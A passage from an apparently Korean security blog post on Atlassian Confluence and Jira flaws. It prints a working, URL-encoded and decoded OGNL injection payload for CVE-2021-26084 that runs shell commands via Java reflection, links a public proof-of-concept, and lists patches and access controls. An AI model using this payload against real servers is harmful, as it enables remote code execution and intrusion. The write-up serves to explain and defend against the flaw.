Success!!\u0027%2b{Class.forName(\u0027javax.script.ScriptEngineManager\u0027).newInstance().getEngineByName(\u0027JavaScript\u0027).\u0065val(\u0027var+isWin+%3d+java.lang.System.getProperty(\u0022os.name\u0022).toLowerCase().contains(\u0022win\u0022)%3b+var+cmd+%3d+new+java.lang.String(\u0022ifconfig\u0022)%3bvar+p+%3d+new+java.lang.ProcessBuilder()%3b+if(isWin){p.command(\u0022cmd.exe\u0022,+\u0022/c\u0022,+cmd)%3b+}+else{p.command(\u0022bash\u0022,+\u0022-c\u0022,+cmd)%3b+}p.redirectErrorStream(true)%3b+var+process%3d+p.start()%3b+var+inputStreamReader+%3d+new+java.io.InputStreamReader(process.getInputStream())%3b+var+bufferedReader+%3d+new+java.io.BufferedReader(inputStreamReader)%3b+var+line+%3d+\u0022\u0022%3b+var+output+%3d+\u0022\u0022%3b+while((line+%3d+bufferedReader.readLine())+!%3d+null){output+%3d+output+%2b+line+%2b+java.lang.Character.toString(10)%3b+}\u0027)}%2b\u0027

<Decode>
success!!'+{Class.forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').\u0065val('var isWin = java.lang.System.getProperty("os.name").toLowerCase().contains("win"); var cmd = new java.lang.String("ifconfig");var p = new java.lang.ProcessBuilder(); if(isWin){p.command("cmd.exe", "/c", cmd); } else{p.command("bash", "-c", cmd); }p.redirectErrorStream(true); var process= p.start(); var inputStreamReader = new java.io.InputStreamReader(process.getInputStream()); var bufferedReader = new java.io.BufferedReader(inputStreamReader); var line = ""; var output = ""; while((line = bufferedReader.readLine()) != null){output = output + line + java.lang.Character.toString(10); }')}+'

μœ„μ˜ λͺ…λ Ήμ–΄λ₯Ό queryString λ³€μˆ˜μ— λ‹΄μ•„ 전솑해보면 μ„±κ³΅μ μœΌλ‘œ Command 호좜이 κ°€λŠ₯ν•©λ‹ˆλ‹€.

 

μ†ŒμŠ€μ— λͺ…μ‹œλœ 정보λ₯Ό μ‚¬μš©ν•˜μ§€ μ•Šκ³  μœ νš¨ν•œ 클래슀 ν˜ΈμΆœμ„ 톡해 객체의 νƒ€μž…μ„ λ™μ μœΌλ‘œ μ•Œ 수 μžˆμ–΄ 객체 ν•„λ“œμ˜ 값을 μ‘°νšŒν•˜κ±°λ‚˜ λ³€κ²½ν•  수 μžˆλŠ” 것을 "λ¦¬ν”Œλ ‰μ…˜"이라고 ν•©λ‹ˆλ‹€.

 

즉 JAVA의 λ¦¬ν”Œλ ‰μ…˜μ€ ꡬ체적인 클래슀 νƒ€μž…μ„ μ•Œμ§€ λͺ»ν•΄λ„, κ·Έ 클래슀의 λ©”μ„œλ“œ,νƒ€μž…, λ³€μˆ˜λ“€μ— μ ‘κ·Όν•  수 μžˆλ„λ‘ ν•΄μ£ΌλŠ” μžλ°” API(기본적으둜 μ œκ³΅ν•΄μ€Œ)둜 보면 λ©λ‹ˆλ‹€.(μš°λ¦¬λŠ” μ·¨μ•½ν•œ End-Point μ˜μ—­μ— μ‚¬μš©λ  Class 및 λ©”μ†Œλ“œλ₯Ό λͺ¨λ₯΄κΈ° λ•Œλ¬Έμ— λ¦¬ν”Œλ ‰μ…˜μ„ 톡해 λ‹¨κ³„λ³„λ‘œ 동적 ν˜ΈμΆœν•˜μ—¬ μ΅œμ’…μ μœΌλ‘œ μ‹€ν–‰λ˜λŠ” 흐름을 μ•…μš©ν•˜λŠ” 것이라 보면 됨)

 

λ§Œμ•½ 1νšŒμ„±μ˜ λͺ…λ Ήμ–΄ 호좜이 μ•„λ‹Œ 지속적인 μ‰˜ 기반의 λͺ…λ Ή ν˜ΈμΆœμ„ ν•˜κ³  μ‹Άλ‹€λ©΄ μ•„λž˜μ˜ μ½”λ“œλ₯Ό μ‚¬μš©ν•˜λ©΄ λœλ‹€.

https://github.com/h3v0x/CVE-2021-26084_Confluence

μœ„μ—μ„œ μ„€λͺ…ν•œ 우회 κΈ°λ²•μΈν˜•νƒœλ‘œ μ‹€ν–‰λ˜λ©° POCλ₯Ό 전솑 μ‹œ μ§€μ •λœ μš”μ²­ κ°’ 헀더λ₯Ό 톡해 고정이 되고 xpl_data λ³€μˆ˜μ— μž„μ˜ μ½”λ“œλ₯Ό μ‹€ν–‰μ‹œν‚¬ 수 μžˆλŠ” Payloadκ°€ μΆ”κ°€λ˜μ–΄ μ „λ‹¬λ˜μ–΄ μ΅œμ’…μ μœΌλ‘œ cmd λ³€μˆ˜μ˜ input() νƒ€μž…μ„ 톡해 μ»€λ§¨λ“œλ₯Ό ν˜ΈμΆœν•  수 μžˆλŠ” ν”„λ‘¬ν”„νŠΈκ°€ μ—΄λ¦°λ‹€.

 

λŒ€μ‘λ°©μ•ˆ

μ•„ν‹€λž€μ‹œμ•„λŠ” λ³΄μ•ˆμ˜ μš°μ„ μˆœμœ„λ₯Ό λ†’μ—¬ μ—„κ²©ν•œ ν…ŒμŠ€νŠΈ 절차λ₯Ό 거치고 ν•œμΈ΅ μ—…κ·Έλ ˆμ΄λ“œλœ μƒˆ 버전을 주기적으둜 λ¦΄λ¦¬μ¦ˆν•˜κ³  μžˆμ§€λ§Œ, κΈ°μ—… λ‚΄λΆ€μ μœΌλ‘œ μƒˆλ‘œμš΄ λ³΄μ•ˆνŒ¨μΉ˜μ— λŒ€ν•΄ 관심을 갖지 μ•Šκ³  λ“±ν•œμ‹œν•˜κ²Œ λœλ‹€λ©΄ μ΄λŠ” μ˜¨ν”„λ ˆλ―ΈμŠ€ ν™˜κ²½λ³΄λ‹€ λ”μš± μœ„ν—˜ν•œ ν™˜κ²½μ— μ²˜ν•΄μ§ˆ κ°€λŠ₯성이 μžˆλ‹€κ³  λ΄…λ‹ˆλ‹€.

 

λ˜ν•œ μ΄λŸ¬ν•œ μ˜€ν”ˆμ†ŒμŠ€ ν”Œλž«νΌμ΄ 외뢀에 λ…ΈμΆœ(λ‚΄λΆ€μ—μ„œλ§Œ μ‚¬μš©)될 ν•„μš”κ°€ μ—†λŠ” κ²½μš°μ—λŠ” λ˜λ„λ‘ μ™ΈλΆ€μ˜ μ•‘μ„ΈμŠ€λ₯Ό μ°¨λ‹¨ν•˜κ³  ν—ˆμš©λœ μ‚¬μš©μžλ“€λ§Œ 접근이 κ°€λŠ₯ν•˜κ²Œ ν•΄μ£ΌλŠ” ACL 정책을 μ μš©ν•˜μ—¬ κ΄€λ¦¬ν•˜λŠ” 것을 κΆŒκ³ ν•˜λŠ” νŽΈμž…λ‹ˆλ‹€.

<Template Injection(CVE-2019–11581)>
ν•΄λ‹Ή 취약점을 μ˜ˆλ°©ν•˜κΈ° μœ„ν•΄μ„  μ•„λž˜μ™€ 같은 방법을 톡해 쑰치λ₯Ό μˆ˜ν–‰ν•˜λ©΄ λœλ‹€. λ§Œμ•½ μ·¨μ•½ μ—”λ“œν¬μΈνŠΈμ— μ ‘κ·Ό μ‹œ "κ΄€λ¦¬μžκ°€ 이 문의 양식을 아직 κ΅¬μ„±ν•˜μ§€ μ•Šμ•˜μŠ΅λ‹ˆλ‹€" 같은 문ꡬ가 λ‚˜νƒ€λ‚œλ‹€λ©΄ μ•ˆμ „ν•˜λ‹€κ³  νŒλ‹¨ν•˜λ©΄ λœλ‹€.

1. 패치된 λ²„μ „μœΌλ‘œ Upgrade(7.6.14, 7.13.5, 8.0.3, 8.1.2, 8.2.3)
2. κ΄€λ¦¬μž 연락 양식 차단(General Configuration -> Edit Settings -> Scroll Down and "Contact Adminstrators Form" OFF
3. μ·¨μ•½ν•œ μ—”λ“œν¬μΈνŠΈ μ•‘μ„ΈμŠ€ 차단(/secure/admin/SendBulkMail!default.jspa)


<OGNL Injection(CVE-2021-26084)>
1. 패치된 λ²„μ „μœΌλ‘œ Upgrade(6.13.23, 7.4.11, 7.11.6, 7.12.5, 7.13.0)
2. λ‹Ήμž₯의 νŒ¨μΉ˜μ—… μ‘°μΉ˜κ°€ νž˜λ“€ 경우 μ‚¬μš©μžλ“€μ΄ κ°€μž…μ‹ μ²­ν•  수 μžˆλŠ” 루트λ₯Ό 차단 ν•˜κ±°λ‚˜ ACL정책을 κ±Έμ–΄ μ™ΈλΆ€μ˜ λΉ„μΈκ°€μžκ°€ λ¬΄λ‹¨μœΌλ‘œ μ ‘κ·Όν•  수 없도둝 λ˜λŠ” μŠ€μΊλ‹μ— νƒ€κΉƒμ΄λ˜μ§€ μ•Šλ„λ‘ μ œμ–΄
κ³΅μœ ν•˜κΈ° 링크
Comment